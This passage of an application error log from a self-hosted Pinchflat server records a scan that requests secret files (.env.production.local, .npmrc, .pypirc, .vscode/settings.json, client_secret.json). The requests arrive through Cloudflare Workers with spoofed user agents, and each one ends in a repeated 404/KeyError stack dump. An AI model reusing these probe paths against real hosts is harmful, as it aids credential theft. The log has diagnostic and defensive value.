{Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08a6997e1de-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "5aa9f8cfmsu6.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08a6997e1de-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "5aa9f8cfmsu6.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3653.0>, params: %{}, path_info: [".env.production"], path_params: %{}, port: (truncated) 02:30:36.192 [info] GET /.npmrc 02:30:36.192 [debug] QUERY OK source="settings" db=0.2ms idle=192.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.192 [debug] QUERY OK source="settings" db=0.1ms idle=28.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.192 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:36.193 [error] #PID<0.3654.0> running PinchflatWeb.Endpoint (connection #PID<0.3642.0>, stream id 12) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.npmrc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.npmrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08a8e0d1eff-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "bofqbc33a963jqav.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.24.77", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3654.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e08a8e0d1eff-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "bofqbc33a963jqav.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "104.22.24.77"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.npmrc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBmLXFE5OWvoAAVRB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.npmrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08a8e0d1eff-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "bofqbc33a963jqav.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.24.77", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.npmrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08a8e0d1eff-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "bofqbc33a963jqav.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.24.77", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3654.0> (truncated) 02:30:36.195 [info] GET /.vscode/settings.json 02:30:36.195 [debug] QUERY OK source="settings" db=0.2ms idle=30.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.195 [debug] QUERY OK source="settings" db=0.0ms idle=25.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.195 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:36.195 [error] #PID<0.3655.0> running PinchflatWeb.Endpoint (connection #PID<0.3642.0>, stream id 13) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.vscode/settings.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/settings.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200e08a886c4c19-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "c2cctw5u.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "172.71.22.138", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3655.0>, params: %{}, path_info: [".vscode", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-connecting-ip", "34.139.141.56"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e08a886c4c19-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "c2cctw5u.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "172.71.22.138"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.vscode/settings.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBmMCZ7iSPJIAAVSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/settings.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200e08a886c4c19-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "c2cctw5u.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "172.71.22.138", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/settings.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200e08a886c4c19-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "c2cctw5u.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "172.71.22.138", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => (truncated) 02:30:36.201 [info] GET /.pypirc 02:30:36.202 [debug] QUERY OK source="settings" db=0.2ms idle=31.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.202 [debug] QUERY OK source="settings" db=0.0ms idle=9.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.202 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:36.202 [error] #PID<0.3656.0> running PinchflatWeb.Endpoint (connection #PID<0.3642.0>, stream id 14) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.pypirc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pypirc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08a8bba5660-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "bdd4797alknb.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3656.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e08a8bba5660-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "bdd4797alknb.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.22.56.193"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.pypirc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBmNmnQBUhVYAAVTB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pypirc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08a8bba5660-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "bdd4797alknb.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pypirc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, (truncated) 02:30:36.204 [info] GET /client_secret.json 02:30:36.204 [debug] QUERY OK source="settings" db=0.2ms idle=11.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.204 [debug] QUERY OK source="settings" db=0.0ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.204 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:36.204 [error] #PID<0.3657.0> running PinchflatWeb.Endpoint (connection #PID<0.3642.0>, stream id 15) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /client_secret.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /client_secret (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client_secret.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08aae9a71f5-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "vggc4833ebd1zwk9.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "108.162.238.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: 